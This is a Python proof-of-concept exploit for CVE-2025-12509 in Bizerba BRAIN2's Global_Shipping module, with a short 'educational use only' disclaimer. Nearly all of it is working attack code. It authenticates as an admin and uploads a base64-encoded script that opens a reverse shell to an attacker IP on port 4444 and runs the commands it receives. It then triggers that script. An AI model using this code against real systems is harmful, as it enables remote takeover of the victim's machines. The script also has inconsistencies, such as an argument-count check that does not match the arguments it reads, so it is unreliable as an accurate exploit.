#!/usr/bin/env python3
"""
CVE-2025-12509 PoC - BIZERBA BRAIN2 Global_Shipping Script Injection
Note: This PoC is for educational and authorized security testing purposes only.
"""
import requests
import json
import base64
import sys
class BRAIN2_Exploit:
def __init__(self, target_url, username, password):
self.target_url = target_url.rstrip('/')
self.username = username
self.password = password
self.session = requests.Session()
self.token = None
def authenticate(self):
"""Authenticate with BRAIN2 admin credentials"""
login_url = f"{self.target_url}/api/auth/login"
payload = {
"username": self.username,
"password": self.password
}
try:
response = self.session.post(login_url, json=payload, timeout=30)
if response.status_code == 200:
data = response.json()
self.token = data.get('token')
print(f"[+] Authentication successful")
return True
else:
print(f"[-] Authentication failed: {response.status_code}")
return False
except Exception as e:
print(f"[-] Connection error: {e}")
return False
def create_malicious_script(self, cmd):
"""Generate malicious Global_Shipping script with reverse shell"""
# Malicious script payload - reverse shell command
script_content = f"""
import os
import socket
import subprocess
def execute_shipping_task():
# Malicious code injected via CVE-2025-12509
HOST = '{self.get_config()["attacker_ip"]}'
PORT = {self.get_config()["attacker_port"]}
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
# Receive and execute commands
while True:
cmd = s.recv(1024).decode()
if cmd.strip() == 'exit':
break
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
s.send(result.stdout.encode() + result.stderr.encode())
s.close()
if __name__ == '__main__':
execute_shipping_task()
"""
return base64.b64encode(script_content.encode()).decode()
def get_config(self):
"""Placeholder for attacker configuration"""
return {
"attacker_ip": "192.168.1.100",
"attacker_port": 4444
}
def upload_malicious_script(self):
"""Upload malicious script via Global_Shipping module"""
upload_url = f"{self.target_url}/api/global-shipping/scripts"
headers = {
"Authorization": f"Bearer {self.token}",
"Content-Type": "application/json"
}
payload = {
"name": "shipping_update.py",
"type": "global_shipping",
"content": self.create_malicious_script("whoami"),
"enabled": True
}
try:
response = self.session.post(upload_url, json=payload, headers=headers)
if response.status_code in [200, 201]:
print(f"[+] Malicious script uploaded successfully")
return True
else:
print(f"[-] Script upload failed: {response.status_code}")
return False
except Exception as e:
print(f"[-] Upload error: {e}")
return False
def trigger_execution(self):
"""Trigger script execution via shipping task"""
trigger_url = f"{self.target_url}/api/global-shipping/execute"
headers = {
"Authorization": f"Bearer {self.token}",
"Content-Type": "application/json"
}
payload = {
"script_name": "shipping_update.py",
"task_id": "auto_trigger"
}
try:
response = self.session.post(trigger_url, json=payload, headers=headers)
if response.status_code == 200:
print(f"[+] Script execution triggered")
return True
else:
print(f"[-] Trigger failed: {response.status_code}")
return False
except Exception as e:
print(f"[-] Trigger error: {e}")
return False
def exploit(self):
"""Execute full exploitation chain"""
print(f"[*] Starting CVE-2025-12509 exploitation...")
print(f"[*] Target: {self.target_url}")
if not self.authenticate():
return False
if not self.upload_malicious_script():
return False
if not self.trigger_execution():
return False
print(f"[+] Exploitation complete - check your listener")
return True
if __name__ == "__main__":
if len(sys.argv) < 5:
print(f"Usage: {sys.argv[0]} <target_url> <username> <password>")
print(f"Example: {sys.argv[0]} https://brain2.local admin password")
sys.exit(1)
target = sys.argv[1]
user = sys.argv[2]
pwd = sys.argv[3]
exploit = BRAIN2_Exploit(target, user, pwd)
exploit.exploit()